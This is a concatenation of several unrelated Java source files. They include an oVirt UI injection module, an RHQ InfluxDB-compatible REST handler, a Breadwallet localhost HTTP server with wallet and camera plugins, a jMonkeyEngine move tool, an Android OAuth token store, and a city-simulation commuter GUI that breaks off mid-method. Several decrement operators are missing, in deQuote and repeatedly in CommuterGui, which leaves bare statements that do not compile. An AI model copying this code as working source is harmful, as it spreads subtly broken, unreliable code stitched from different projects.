Provider<DefaultConfirmationPopupPresenterWidget> defaultConfirmPopupProvider) {
return new DetailTabModelProvider<NetworkListModel, NetworkGeneralModel>(
eventBus, defaultConfirmPopupProvider,
NetworkListModel.class,
NetworkGeneralModel.class);
}
// Searchable Detail Models
@Provides
@Singleton
public SearchableDetailModelProvider<VnicProfileView, NetworkListModel, NetworkProfileListModel> getNetworkProfileListProvider(EventBus eventBus,
Provider<DefaultConfirmationPopupPresenterWidget> defaultConfirmPopupProvider,
final Provider<VnicProfilePopupPresenterWidget> newProfilePopupProvider,
final Provider<VnicProfilePopupPresenterWidget> editProfilePopupProvider,
final Provider<RemoveConfirmationPopupPresenterWidget> removeConfirmPopupProvider) {
return new SearchableDetailTabModelProvider<VnicProfileView, NetworkListModel, NetworkProfileListModel>(eventBus,
defaultConfirmPopupProvider,
NetworkListModel.class,
NetworkProfileListModel.class) {
@Override
public AbstractModelBoundPopupPresenterWidget<? extends Model, ?> getModelPopup(NetworkProfileListModel source,
UICommand lastExecutedCommand,
Model windowModel) {
if (lastExecutedCommand == getModel().getNewCommand()) {
return newProfilePopupProvider.get();
} else if (lastExecutedCommand == getModel().getEditCommand()) {
return editProfilePopupProvider.get();
} else {
return super.getModelPopup(source, lastExecutedCommand, windowModel);
}
}
@Override
public AbstractModelBoundPopupPresenterWidget<? extends ConfirmationModel, ?> getConfirmModelPopup(NetworkProfileListModel source,
UICommand lastExecutedCommand) {
if (lastExecutedCommand == getModel().getRemoveCommand()) { //$NON-NLS-1$
return removeConfirmPopupProvider.get();
} else {
return super.getConfirmModelPopup(source, lastExecutedCommand);
}
}
};
}
@Provides
@Singleton
public SearchableDetailModelProvider<PairQueryable<VDSGroup, NetworkCluster>, NetworkListModel, NetworkClusterListModel> getNetworkClusterListProvider(EventBus eventBus,
Provider<DefaultConfirmationPopupPresenterWidget> defaultConfirmPopupProvider,
final Provider<ClusterManageNetworkPopupPresenterWidget> managePopupProvider) {
return new SearchableDetailTabModelProvider<PairQueryable<VDSGroup, NetworkCluster>, NetworkListModel, NetworkClusterListModel>(
eventBus, defaultConfirmPopupProvider,
NetworkListModel.class,
NetworkClusterListModel.class) {
@Override
public AbstractModelBoundPopupPresenterWidget<? extends Model, ?> getModelPopup(NetworkClusterListModel source,
UICommand lastExecutedCommand,
Model windowModel) {
if (lastExecutedCommand == getModel().getManageCommand()) {
return managePopupProvider.get();
} else {
return super.getModelPopup(source, lastExecutedCommand, windowModel);
}
}
};
}
@Provides
@Singleton
public SearchableDetailModelProvider<PairQueryable<VdsNetworkInterface, VDS>, NetworkListModel, NetworkHostListModel> getNetworkHostListProvider(EventBus eventBus,
Provider<DefaultConfirmationPopupPresenterWidget> defaultConfirmPopupProvider,
final Provider<SetupNetworksBondPopupPresenterWidget> setupNetworksBondPopupProvider,
final Provider<SetupNetworksInterfacePopupPresenterWidget> setupNetworksInterfacePopupProvider,
final Provider<SetupNetworksManagementPopupPresenterWidget> setupNetworksManagementPopupProvider,
final Provider<HostSetupNetworksPopupPresenterWidget> hostSetupNetworksPopupProvider) {
return new SearchableDetailTabModelProvider<PairQueryable<VdsNetworkInterface, VDS>, NetworkListModel, NetworkHostListModel>(
eventBus, defaultConfirmPopupProvider,
NetworkListModel.class,
NetworkHostListModel.class) {
@Override
public AbstractModelBoundPopupPresenterWidget<? extends Model, ?> getModelPopup(NetworkHostListModel source,
UICommand lastExecutedCommand,
Model windowModel) {
// Resolve by dialog model
if (windowModel instanceof HostBondInterfaceModel) {
return setupNetworksBondPopupProvider.get();
} else if (windowModel instanceof HostInterfaceModel) {
return setupNetworksInterfacePopupProvider.get();
} else if (windowModel instanceof HostManagementNetworkModel) {
return setupNetworksManagementPopupProvider.get();
}
// Resolve by last executed command
if (lastExecutedCommand == getModel().getSetupNetworksCommand()) {
return hostSetupNetworksPopupProvider.get();
} else {
return super.getModelPopup(source, lastExecutedCommand, windowModel);
}
}
};
}
@Provides
@Singleton
public SearchableDetailModelProvider<PairQueryable<VmNetworkInterface, VM>, NetworkListModel, NetworkVmListModel> getNetworkVmModelProvider(EventBus eventBus,
Provider<DefaultConfirmationPopupPresenterWidget> defaultConfirmPopupProvider,
final Provider<RemoveConfirmationPopupPresenterWidget> removeConfirmPopupProvider) {
return new SearchableDetailTabModelProvider<PairQueryable<VmNetworkInterface, VM>, NetworkListModel, NetworkVmListModel>(
eventBus, defaultConfirmPopupProvider,
NetworkListModel.class,
NetworkVmListModel.class) {
@Override
public AbstractModelBoundPopupPresenterWidget<? extends ConfirmationModel, ?> getConfirmModelPopup(NetworkVmListModel source,
UICommand lastExecutedCommand) {
if (lastExecutedCommand == getModel().getRemoveCommand()) {
return removeConfirmPopupProvider.get();
} else {
return super.getConfirmModelPopup(source, lastExecutedCommand);
}
}
};
}
@Provides
@Singleton
public SearchableDetailModelProvider<PairQueryable<VmNetworkInterface, VmTemplate>, NetworkListModel, NetworkTemplateListModel> geNetworkTemplateModelProvider(EventBus eventBus,
Provider<DefaultConfirmationPopupPresenterWidget> defaultConfirmPopupProvider,
final Provider<RemoveConfirmationPopupPresenterWidget> removeConfirmPopupProvider) {
return new SearchableDetailTabModelProvider<PairQueryable<VmNetworkInterface, VmTemplate>, NetworkListModel, NetworkTemplateListModel>(
eventBus, defaultConfirmPopupProvider,
NetworkListModel.class,
NetworkTemplateListModel.class){
@Override
public AbstractModelBoundPopupPresenterWidget<? extends ConfirmationModel, ?> getConfirmModelPopup(NetworkTemplateListModel source,
UICommand lastExecutedCommand) {
if (lastExecutedCommand == getModel().getRemoveCommand()) {
return removeConfirmPopupProvider.get();
} else {
return super.getConfirmModelPopup(source, lastExecutedCommand);
}
}
};
}
@Provides
@Singleton
public SearchableDetailModelProvider<permissions, NetworkListModel, PermissionListModel> getNetworkPermissionListProvider(EventBus eventBus,
Provider<DefaultConfirmationPopupPresenterWidget> defaultConfirmPopupProvider,
final Provider<PermissionsPopupPresenterWidget> popupProvider,
final Provider<RolePermissionsRemoveConfirmationPopupPresenterWidget> removeConfirmPopupProvider) {
return new SearchableDetailTabModelProvider<permissions, NetworkListModel, PermissionListModel>(
eventBus, defaultConfirmPopupProvider,
NetworkListModel.class,
PermissionListModel.class) {
@Override
public AbstractModelBoundPopupPresenterWidget<? extends Model, ?> getModelPopup(PermissionListModel source,
UICommand lastExecutedCommand, Model windowModel) {
if (lastExecutedCommand == getModel().getAddCommand()) {
return popupProvider.get();
} else {
return super.getModelPopup(source, lastExecutedCommand, windowModel);
}
}
@Override
public AbstractModelBoundPopupPresenterWidget<? extends ConfirmationModel, ?> getConfirmModelPopup(PermissionListModel source,
UICommand lastExecutedCommand) {
if (lastExecutedCommand == getModel().getRemoveCommand()) {
return removeConfirmPopupProvider.get();
} else {
return super.getConfirmModelPopup(source, lastExecutedCommand);
}
}
};
}
@Override
protected void configure() {
}
}
|
package org.rhq.metrics.restServlet;
import java.util.ArrayList;
import java.util.List;
import javax.inject.Inject;
import javax.ws.rs.GET;
import javax.ws.rs.Path;
import javax.ws.rs.Produces;
import javax.ws.rs.QueryParam;
import javax.ws.rs.container.AsyncResponse;
import javax.ws.rs.container.Suspended;
import javax.ws.rs.core.Response;
import javax.xml.bind.annotation.XmlRootElement;
import com.google.common.util.concurrent.FutureCallback;
import com.google.common.util.concurrent.Futures;
import com.google.common.util.concurrent.ListenableFuture;
import org.rhq.metrics.core.MetricsService;
import org.rhq.metrics.core.RawNumericMetric;
/**
* Some support for InfluxDB clients like Grafana.
* This is very rough at the moment (to say it politely)
* @author Heiko W. Rupp
*/
@Path("/influx")
@Produces("application/json")
public class InfluxHandler {
private static final String SELECT_FROM = "select ";
@Inject
private MetricsService metricsService;
@GET
@Path("/series")
public void series(@Suspended final AsyncResponse asyncResponse,
@QueryParam("q") String queryString) {
if (queryString.equals("list series")) {
// Copied from MetricsHandler
List<String> names = ServiceKeeper.getInstance().service.listMetrics();
List<InfluxObject> objects = new ArrayList<>(names.size() + 2);
for (String name : names) {
InfluxObject obj = new InfluxObject(name);
obj.columns = new ArrayList<>(2);
obj.columns.add("time");
obj.columns.add("sequence_number");
obj.columns.add("val");
obj.points = new ArrayList<>(1);
objects.add(obj);
}
InfluxObject obj = new InfluxObject("bla");
obj.columns = new ArrayList<>(2);
obj.columns.add("time");
obj.columns.add("sequence_number");
obj.points = new ArrayList<>(1);
objects.add(obj);
Response.ResponseBuilder builder = Response.ok(objects);
asyncResponse.resume(builder.build());
} else {
final String query = queryString.toLowerCase();
if (query.startsWith(SELECT_FROM)) {
Long start = null;
Long end = null;
final long EIGHT_HOURS = 8L * 60L * 60L * 1000L; // 8 Hours in milliseconds
int i = query.indexOf("from") + 5;
int j = query.indexOf(" ", i);
final String metric = deQuote(queryString.substring(i, j)); // metric to query from backend
i = query.indexOf("as") + 3;
j = query.indexOf(" ", i);
final String alias = queryString.substring(i, j); // alias to return the data as
final long now = System.currentTimeMillis();
if (start == null) {
start = now - EIGHT_HOURS;
}
if (end == null) {
end = now;
}
final ListenableFuture<List<RawNumericMetric>> future = metricsService.findData(metric, start, end);
final Long finalStart = start;
final Long finalEnd = end;
Futures.addCallback(future, new FutureCallback<List<RawNumericMetric>>() {
@Override
public void onSuccess(List<RawNumericMetric> metrics) {
List<InfluxObject> objects = new ArrayList<>(1);
InfluxObject obj = new InfluxObject(metric);
obj.columns = new ArrayList<>(1);
obj.columns.add("time");
obj.columns.add(alias);
obj.points = new ArrayList<>(1);
for (RawNumericMetric m : metrics) {
List<Number> data = new ArrayList<>();
data.add(m.getTimestamp()/1000); // query param "time_precision
data.add(m.getAvg());
obj.points.add(data);
}
objects.add(obj);
Response.ResponseBuilder builder = Response.ok(objects);
asyncResponse.resume(builder.build());
}
@Override
public void onFailure(Throwable t) {
asyncResponse.resume(t);
}
});
}
else {
// Fallback if nothing matched
StringValue errMsg = new StringValue("Query not yet supported: " + queryString);
asyncResponse.resume(
Response.status(Response.Status.BAD_REQUEST).entity(errMsg).build());
}
}
}
/**
* The passed string may be surrounded by quotes, so we
* need to remove them.
* @param in String to de-quote
* @return De-Quoted String
*/
private String deQuote(String in) {
if (in==null) {
return null;
}
String out ;
int start = 0;
int end = in.length();
if (in.startsWith("\"")) {
start++;
}
if (in.endsWith("\"")) {
end
}
out=in.substring(start,end);
return out;
}
/**
* Transfer object which is returned by Influx queries
*/
@SuppressWarnings("unused")
@XmlRootElement
private class InfluxObject {
private InfluxObject() {
}
private InfluxObject(String name) {
this.name = name;
}
String name;
List<String> columns;
List<List<?>> points;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public List<String> getColumns() {
return columns;
}
public void setColumns(List<String> columns) {
this.columns = columns;
}
public List<List<?>> getPoints() {
return points;
}
public void setPoints(List<List<?>> points) {
this.points = points;
}
}
}
|
package com.platform;
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.util.Log;
import com.breadwallet.BreadApp;
import com.breadwallet.tools.threads.BRExecutor;
import com.breadwallet.tools.util.Utils;
import com.platform.interfaces.Middleware;
import com.platform.interfaces.Plugin;
import com.platform.middlewares.APIProxy;
import com.platform.middlewares.HTTPFileMiddleware;
import com.platform.middlewares.HTTPIndexMiddleware;
import com.platform.middlewares.HTTPRouter;
import com.platform.middlewares.plugins.CameraPlugin;
import com.platform.middlewares.plugins.GeoLocationPlugin;
import com.platform.middlewares.plugins.KVStorePlugin;
import com.platform.middlewares.plugins.LinkPlugin;
import com.platform.middlewares.plugins.WalletPlugin;
import org.eclipse.jetty.server.Request;
import org.eclipse.jetty.server.Server;
import org.eclipse.jetty.server.handler.AbstractHandler;
import org.eclipse.jetty.server.handler.HandlerCollection;
import org.eclipse.jetty.websocket.server.WebSocketHandler;
import org.eclipse.jetty.websocket.servlet.WebSocketServletFactory;
import java.io.IOException;
import java.util.LinkedHashSet;
import java.util.Set;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class HTTPServer {
public static final String TAG = HTTPServer.class.getName();
private static Set<Middleware> middlewares;
private static Server server;
public static final int PORT = 31120;
public static final String URL_EA = "http://localhost:" + PORT + "/ea";
public static final String URL_BUY = "http://localhost:" + PORT + "/buy";
public static final String URL_SUPPORT = "http://localhost:" + PORT + "/support";
public static ServerMode mode;
public enum ServerMode {
SUPPORT,
BUY,
EA
}
public HTTPServer() {
init();
}
private static void init() {
middlewares = new LinkedHashSet<>();
server = new Server(PORT);
try {
server.dump(System.err);
} catch (IOException e) {
e.printStackTrace();
}
HandlerCollection handlerCollection = new HandlerCollection();
WebSocketHandler wsHandler = new WebSocketHandler() {
@Override
public void configure(WebSocketServletFactory factory) {
factory.register(BRGeoWebSocketHandler.class);
}
};
ServerHandler serverHandler = new ServerHandler();
handlerCollection.addHandler(serverHandler);
handlerCollection.addHandler(wsHandler);
server.setHandler(handlerCollection);
setupIntegrations();
}
public static void startServer() {
Log.d(TAG, "startServer");
try {
if (server != null && server.isStarted()) {
return;
}
if (server == null) init();
server.start();
server.join();
} catch (Exception ex) {
ex.printStackTrace();
}
}
public static void stopServer() {
Log.d(TAG, "stopServer");
try {
if (server != null)
server.stop();
} catch (Exception e) {
e.printStackTrace();
}
server = null;
}
public boolean isStarted() {
return server != null && server.isStarted();
}
private static class ServerHandler extends AbstractHandler {
public void handle(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response)
throws IOException, ServletException {
boolean success;
success = dispatch(target, baseRequest, request, response);
if (!success) {
Log.e(TAG, "handle: NO MIDDLEWARE HANDLED THE REQUEST: " + target);
}
}
}
private static boolean dispatch(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response) {
Log.d(TAG, "TRYING TO HANDLE: " + target + " (" + request.getMethod() + ")");
final Context app = BreadApp.getBreadContext();
boolean result = false;
if (target.equalsIgnoreCase("/_close")) {
if (app != null) {
BRExecutor.getInstance().forMainThreadTasks().execute(new Runnable() {
@Override
public void run() {
((Activity) app).onBackPressed();
}
});
return BRHTTPHelper.handleSuccess(200, null, baseRequest, response, null);
}
return true;
} else if (target.toLowerCase().startsWith("/_email")) {
Log.e(TAG, "dispatch: uri: " + baseRequest.getUri().toString());
String address = Uri.parse(baseRequest.getUri().toString()).getQueryParameter("address");
Log.e(TAG, "dispatch: address: " + address);
if (Utils.isNullOrEmpty(address)) {
return BRHTTPHelper.handleError(400, "no address", baseRequest, response);
}
Intent email = new Intent(Intent.ACTION_SEND);
email.putExtra(Intent.EXTRA_EMAIL, new String[]{address});
//need this to prompts email client only
email.setType("message/rfc822");
app.startActivity(Intent.createChooser(email, "Choose an Email client :"));
return BRHTTPHelper.handleSuccess(200, null, baseRequest, response, null);
} else if (target.toLowerCase().startsWith("/didload")) {
return BRHTTPHelper.handleSuccess(200, null, baseRequest, response, null);
}
for (Middleware m : middlewares) {
result = m.handle(target, baseRequest, request, response);
if (result) {
String className = m.getClass().getName().substring(m.getClass().getName().lastIndexOf(".") + 1);
if (!className.contains("HTTPRouter"))
Log.d(TAG, "dispatch: " + className + " succeeded:" + request.getRequestURL());
break;
}
}
return result;
}
private static void setupIntegrations() {
// proxy api for signing and verification
APIProxy apiProxy = new APIProxy();
middlewares.add(apiProxy);
// http router for native functionality
HTTPRouter httpRouter = new HTTPRouter();
middlewares.add(httpRouter);
// basic file server for static assets
HTTPFileMiddleware httpFileMiddleware = new HTTPFileMiddleware();
middlewares.add(httpFileMiddleware);
// middleware to always return index.html for any unknown GET request (facilitates window.history style SPAs)
HTTPIndexMiddleware httpIndexMiddleware = new HTTPIndexMiddleware();
middlewares.add(httpIndexMiddleware);
// geo plugin provides access to onboard geo location functionality
Plugin geoLocationPlugin = new GeoLocationPlugin();
httpRouter.appendPlugin(geoLocationPlugin);
// camera plugin
Plugin cameraPlugin = new CameraPlugin();
httpRouter.appendPlugin(cameraPlugin);
// wallet plugin provides access to the wallet
Plugin walletPlugin = new WalletPlugin();
httpRouter.appendPlugin(walletPlugin);
// link plugin which allows opening links to other apps
Plugin linkPlugin = new LinkPlugin();
httpRouter.appendPlugin(linkPlugin);
// kvstore plugin provides access to the shared replicated kv store
Plugin kvStorePlugin = new KVStorePlugin();
httpRouter.appendPlugin(kvStorePlugin);
}
}
|
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package com.jme3.gde.scenecomposer.tools;
import com.jme3.asset.AssetManager;
import com.jme3.gde.core.sceneexplorer.nodes.JmeNode;
import com.jme3.gde.core.sceneexplorer.nodes.JmeSpatial;
import com.jme3.gde.scenecomposer.SceneComposerToolController;
import com.jme3.gde.scenecomposer.SceneEditTool;
import com.jme3.math.Vector2f;
import com.jme3.math.Vector3f;
import com.jme3.scene.Node;
import com.jme3.scene.Spatial;
import org.openide.loaders.DataObject;
import org.openide.util.Lookup;
/**
* Move an object.
* When created, it generates a quad that will lie along a plane
* that the user selects for moving on. When the mouse is over
* the axisMarker, it will highlight the plane that it is over: XY,XZ,YZ.
* When clicked and then dragged, the selected object will move along that
* plane.
* @author Brent Owens
*/
public class MoveTool extends SceneEditTool {
private Vector3f pickedMarker;
private Vector3f constraintAxis; //used for one axis move
private boolean wasDragging = false;
private MoveManager moveManager;
public MoveTool() {
axisPickType = AxisMarkerPickType.axisAndPlane;
setOverrideCameraControl(true);
}
@Override
public void activate(AssetManager manager, Node toolNode, Node onTopToolNode, Spatial selectedSpatial, SceneComposerToolController toolController) {
super.activate(manager, toolNode, onTopToolNode, selectedSpatial, toolController);
moveManager = Lookup.getDefault().lookup(MoveManager.class);
displayPlanes();
}
@Override
public void actionPrimary(Vector2f screenCoord, boolean pressed, JmeNode rootNode, DataObject dataObject) {
onPrimary(screenCoord, pressed);
}
@Override
public void actionSecondary(Vector2f screenCoord, boolean pressed, JmeNode rootNode, DataObject dataObject) {
}
@Override
public void mouseMoved(Vector2f screenCoord, JmeNode rootNode, DataObject currentDataObject, JmeSpatial selectedSpatial) {
if (pickedMarker == null) {
highlightAxisMarker(camera, screenCoord, axisPickType);
} else {
pickedMarker = null;
moveManager.reset();
}
}
@Override
public void draggedPrimary(Vector2f screenCoord, boolean pressed, JmeNode rootNode, DataObject currentDataObject) {
onPrimary(screenCoord, pressed);
}
@Override
public void draggedSecondary(Vector2f screenCoord, boolean pressed, JmeNode rootNode, DataObject currentDataObject) {
}
/**
* Called by ActionPrimary and draggedPrimay, improve user feedback
*
* @param screenCoord
* @param pressed
*/
private void onPrimary(Vector2f screenCoord, boolean pressed) {
if (!pressed) {
setDefaultAxisMarkerColors();
pickedMarker = null; // mouse released, reset selection
constraintAxis = Vector3f.UNIT_XYZ; // no constraint
if (wasDragging) {
actionPerformed(moveManager.makeUndo());
wasDragging = false;
}
moveManager.reset();
return;
}
if (toolController.getSelectedSpatial() == null) {
return;
}
if (pickedMarker == null) {
pickedMarker = pickAxisMarker(camera, screenCoord, axisPickType);
if (pickedMarker == null) {
return;
}
if (pickedMarker.equals(QUAD_XY)) {
moveManager.initiateMove(toolController.getSelectedSpatial(), MoveManager.XY, true);
} else if (pickedMarker.equals(QUAD_XZ)) {
moveManager.initiateMove(toolController.getSelectedSpatial(), MoveManager.XZ, true);
} else if (pickedMarker.equals(QUAD_YZ)) {
moveManager.initiateMove(toolController.getSelectedSpatial(), MoveManager.YZ, true);
} else if (pickedMarker.equals(ARROW_X)) {
moveManager.initiateMove(toolController.getSelectedSpatial(), MoveManager.XY, true);
constraintAxis = Vector3f.UNIT_X; // move only X
} else if (pickedMarker.equals(ARROW_Y)) {
moveManager.initiateMove(toolController.getSelectedSpatial(), MoveManager.YZ, true);
constraintAxis = Vector3f.UNIT_Y; // move only Y
} else if (pickedMarker.equals(ARROW_Z)) {
moveManager.initiateMove(toolController.getSelectedSpatial(), MoveManager.XZ, true);
constraintAxis = Vector3f.UNIT_Z; // move only Z
}
}
if (!moveManager.move(camera, screenCoord, constraintAxis, false)) {
return;
}
updateToolsTransformation();
wasDragging = true;
}
}
|
package sinfo.ufrn.br.japi;
import android.content.Context;
import android.content.SharedPreferences;
import ca.mimic.oauth2library.OAuthResponse;
public class JApi {
private static final String KEY_ACCESS_TOKEN = "ACCESS_TOKEN";
private static final String KEY_REFRESH_TOKEN = "REFRESH_TOKEN";
private static final String KEY_EXPIRES_IN = "EXPIRES_IN";
private static final String KEY_TOKEN_TYPE = "TOKEN_TYPE";
private static final String KEY_USER_INFO = "USER_INFO";
public void savePreferences(OAuthResponse response, Context context) {
String accessToken = response.getAccessToken();
String refreshToken = response.getRefreshToken();
String tokenType = response.getTokenType();
Long expiresIn = response.getExpiresIn();
SharedPreferences preferences = context.getSharedPreferences(KEY_USER_INFO, 0);
SharedPreferences.Editor editor = preferences.edit();
editor.clear();
editor.putString(KEY_ACCESS_TOKEN, accessToken);
editor.putString(KEY_REFRESH_TOKEN, refreshToken);
editor.putString(KEY_TOKEN_TYPE, tokenType);
editor.putLong(KEY_EXPIRES_IN, expiresIn);
editor.commit();
}
public static String getAccessToken(Context context) {
SharedPreferences preferences = context.getSharedPreferences(KEY_USER_INFO, 0);
return preferences.getString(KEY_ACCESS_TOKEN, null);
}
public static String getRefreshToken(Context context) {
SharedPreferences preferences = context.getSharedPreferences(KEY_USER_INFO, 0);
return preferences.getString(KEY_REFRESH_TOKEN, null);
}
public static Long getExpiresIn(Context context) {
SharedPreferences preferences = context.getSharedPreferences(KEY_USER_INFO, 0);
return preferences.getLong(KEY_EXPIRES_IN, 0);
}
public static String getTokenType(Context context) {
SharedPreferences preferences = context.getSharedPreferences(KEY_USER_INFO, 0);
return preferences.getString(KEY_TOKEN_TYPE, null);
}
public static void deslogar(Context context) {
SharedPreferences preferences = context.getSharedPreferences(KEY_USER_INFO, 0);
SharedPreferences.Editor editor = preferences.edit();
editor.clear();
JApiCache.deleteCache(context);
}
}
|
package city.transportation.gui;
import java.awt.Color;
import java.awt.Graphics2D;
import java.awt.Image;
import java.util.*;
import java.util.concurrent.Semaphore;
import javax.swing.ImageIcon;
import gui.*;
import gui.astar.*;
import city.*;
import city.transportation.*;
public class CommuterGui implements Gui {
private static final int NULL_POSITION_X = 300;
private static final int NULL_POSITION_Y = 300;
boolean started = false;
int _xPos, _yPos;
boolean _selected = false;
int _currentBlockX = 0, _currentBlockY = 0;
int _destinationBlockX, _destinationBlockY;
List<Integer> route = new ArrayList<Integer>();
List<Integer> intersections = new ArrayList<Integer>();
Place _destination;
int _xDestination, _yDestination;
enum Command { none, waitForAnimation}
Command _transportationMethod = Command.none;
enum PedestrianState { none, waitForAnimation}
PedestrianState _showPedestrian = PedestrianState.none;
boolean isPresent = false;
private Semaphore _reachedDestination = new Semaphore(0, true);
private Semaphore _delayForMoving = new Semaphore(0, true);
private Timer _lookUpDelay = new Timer();
private int parkingSpot = -1;
private int startingSpot = -1;
private int landingSpot = 0;
CommuterRole _commuter;
public boolean dead = false;
private Semaphore deathSem = new Semaphore(0, true);
private ImageIcon b = new ImageIcon(this.getClass().getResource("/image/bank/Skull.png"));
private Image skull = b.getImage();
int xGap = 10;
int yGap = 10;
public CommuterGui(CommuterRole commuter, Place initialPlace) {
// Note: placeX and placeY can safely receive values of null
_currentBlockX = getBlockX(placeX(initialPlace));
_currentBlockY = getBlockY(placeY(initialPlace));
Lane lane;
if (commuter._person.money()>=200)
lane = Directory.lanes().get(_currentBlockX + 3 * _currentBlockY);
else
lane = Directory.sidewalks().get(_currentBlockX + 3 * _currentBlockY);
if (lane.isHorizontal){
if (lane.xVelocity>0){
_xDestination = lane.xOrigin;
_yDestination = lane.yOrigin + 10;
}
else {
_xDestination = lane.xOrigin + 10 * (lane.permits.size() - 1);
_yDestination = lane.yOrigin - 10;
}
}
else {
if (lane.yVelocity>0){
_yDestination = lane.yOrigin;
_xDestination = lane.xOrigin - 10;
}
else{
_yDestination = lane.yOrigin + 10 * (lane.permits.size() - 1);
_xDestination = lane.xOrigin + 10;
}
}
_xPos = _xDestination;
_yPos = _yDestination;
_commuter = commuter;
setPresent(false);
//currentPosition = new Position(_xPos, _yPos);
}
public double getManhattanDistanceToDestination(Place destination){
double x = Math.abs(placeX(destination) - _xPos);//currentPosition.getX());
double y = Math.abs(placeY(destination) - _yPos);//currentPosition.getY());
return x+y;
}
public void releaseSemaphore(){ _reachedDestination.release(); };
@Override
public boolean isPresent() {
return isPresent;
}
public void setPresent(boolean present){
this.isPresent = present;
}
public void setXY(int x, int y){
_xPos = x;
_yPos = y;
}
public int getX(){
return _xPos;//currentPosition.getX();
}
public int getY(){
return _yPos;//currentPosition.getY();
}
public void walkToLocation(Place destination){
route.clear();
intersections.clear();
setPresent(true);
_destinationBlockX = getBlockX(placeX(destination));
_destinationBlockY = getBlockY(placeY(destination));
if (_destinationBlockY == 1)
landingSpot = getSpotX(placeX(destination)) + 1;
else
if (_destinationBlockX == 1)
landingSpot = 10 - getSpotX(placeX(destination));
else if (_destinationBlockX == 0)
landingSpot = 7 - getSpotX(placeX(destination));
else
landingSpot = 6 - getSpotX(placeX(destination));
if (_destinationBlockX == _currentBlockX && _destinationBlockY == _currentBlockY){
setPresent(false);
return;
}
route.add(_currentBlockX + 3 * _currentBlockY);
if (_currentBlockY == 0){
if ( _destinationBlockX > _currentBlockX){ //going right
intersections.add(_currentBlockX + _currentBlockY);
_currentBlockY++;
route.add(_currentBlockX + 3 * _currentBlockY);
while (_currentBlockX < _destinationBlockX){
intersections.add(_currentBlockX + _currentBlockY);
_currentBlockX++;
route.add(_currentBlockX + 3 * _currentBlockY);
}
if (_currentBlockY > _destinationBlockY){
intersections.add(_currentBlockX + _currentBlockY);
_currentBlockY
route.add(_currentBlockX + 3 * _currentBlockY);
}
}
else{//going left or down
while (_currentBlockX > _destinationBlockX){
intersections.add(_currentBlockX + _currentBlockY);
_currentBlockX
route.add(_currentBlockX + 3 * _currentBlockY);
}
if (_currentBlockY < _destinationBlockY){
intersections.add(_currentBlockX + _currentBlockY);
_currentBlockY++;
route.add(_currentBlockX + 3 * _currentBlockY);
}
}
}
else if (_currentBlockY == 1){
if ( _destinationBlockX > _currentBlockX){ //going right
while (_currentBlockX < _destinationBlockX){
intersections.add(_currentBlockX + _currentBlockY);
_currentBlockX++;
route.add(_currentBlockX + 3 * _currentBlockY);
}
if (_currentBlockY > _destinationBlockY){
intersections.add(_currentBlockX + _currentBlockY);
_currentBlockY
route.add(_currentBlockX + 3 * _currentBlockY);
}
}
else{//going left or up
intersections.add(_currentBlockX + _currentBlockY);
_currentBlockY
route.add(_currentBlockX + 3 * _currentBlockY);
while (_currentBlockX > _destinationBlockX){
intersections.add(_currentBlockX + _currentBlockY);
_currentBlockX
route.add(_currentBlockX + 3 * _currentBlockY);
}
if (_currentBlockY < _destinationBlockY){
intersections.add(_currentBlockX + _currentBlockY);
_currentBlockY++;
route.add(_currentBlockX + 3 * _currentBlockY);
}
}
}
for (int i=0; i< route.size();i++){
Lane lane = Directory.sidewalks().get(route.get(i));
int starting_position = 0;
if (i == 0) {
if (startingSpot > 0)
starting_position = startingSpot;
}
for (int j=starting_position; j< lane.permits.size();j++){
while(!lane.permits.get(j).tryAcquire()){
_lookUpDelay.schedule(new TimerTask(){
@Override
public void run() {
_delayForMoving.release();
}
}, 10);
try{
_delayForMoving.acquire();
}
catch(InterruptedException e){
e.printStackTrace();
}
}
if (lane.isHorizontal){
if (lane.xVelocity>0){
_xDestination = lane.xOrigin + 10 * lane.xVelocity * j;
_yDestination = lane.yOrigin;
}
else {
_xDestination = lane.xOrigin + 10 * lane.permits.size() + 10 * lane.xVelocity * (j+1);
_yDestination = lane.yOrigin;
}
}
else {
if (lane.yVelocity>0){
_yDestination = lane.yOrigin + 10 * lane.yVelocity * j;
_xDestination = lane.xOrigin;
}
else{
_yDestination = lane.yOrigin + 10 * lane.permits.size() + 10 * lane.yVelocity * (j+1);
_xDestination = lane.xOrigin;
}
}
_transportationMethod = Command.waitForAnimation;
waitForLaneToFinish();
//free parking spaces
if (i != 0 && j == starting_position){
Directory.intersections().get(intersections.get(i-1)).release();
}
//release the former spot
if (j!=starting_position)
lane.permits.get(j-1).release();
//find parking spaces in last lane
if (i == route.size() - 1){
if (j == landingSpot){
//move to the spot, release and record
if (lane.isHorizontal){
if (lane.xVelocity>0){
_yDestination += 10;
}
else {
_yDestination -= 10;
}
}
else {
if (lane.yVelocity>0){
_xDestination -= 10;
}
else{
_xDestination += 10;
}
}
_transportationMethod = Command.waitForAnimation;
waitForLaneToFinish();
setPresent(false);
lane.permits.get(j).release();
startingSpot = j;
return;
}
}
}
if (i<route.size() - 1){
Lane next_lane = Directory.sidewalks().get(route.get(i+1));
while(!Directory.intersections().get(intersections.get(i)).tryAcquire()){
_lookUpDelay.schedule(new TimerTask(){
@Override
public void run() {
_delayForMoving.release();
}
}, 10);
try{
_delayForMoving.acquire();
}
catch(InterruptedException e){
e.printStackTrace();
}
};
if (next_lane.isHorizontal){
if (next_lane.xVelocity>0){
_xDestination = next_lane.xOrigin - 10;
_yDestination = next_lane.yOrigin;
}
else {
_xDestination = next_lane.xOrigin + 10 * next_lane.permits.size();
_yDestination = next_lane.yOrigin;
}
}
else {
if (next_lane.yVelocity>0){
_yDestination = next_lane.yOrigin - 10;
_xDestination = next_lane.xOrigin;
}
else{
_yDestination = next_lane.yOrigin + 10 * next_lane.permits.size();
_xDestination = next_lane.xOrigin;
}
}
_transportationMethod = Command.waitForAnimation;
waitForLaneToFinish();
//TODO to get rid of deadlock acquire both intersection and the first spot in next lane
lane.permits.get(lane.permits.size()-1).release();
}
}
//set automatically
_currentBlockX = _destinationBlockX;
_currentBlockY = _destinationBlockY;
}
/*
//Car gui
public void goToCar(){
}
public void getOffCar(){
}
*/
public void driveToLocation(Place destination){
// set current x & y to _commuter.currrentPlace()
// set visible to true
route.clear();
intersections.clear();
_destinationBlockX = getBlockX(placeX(destination));
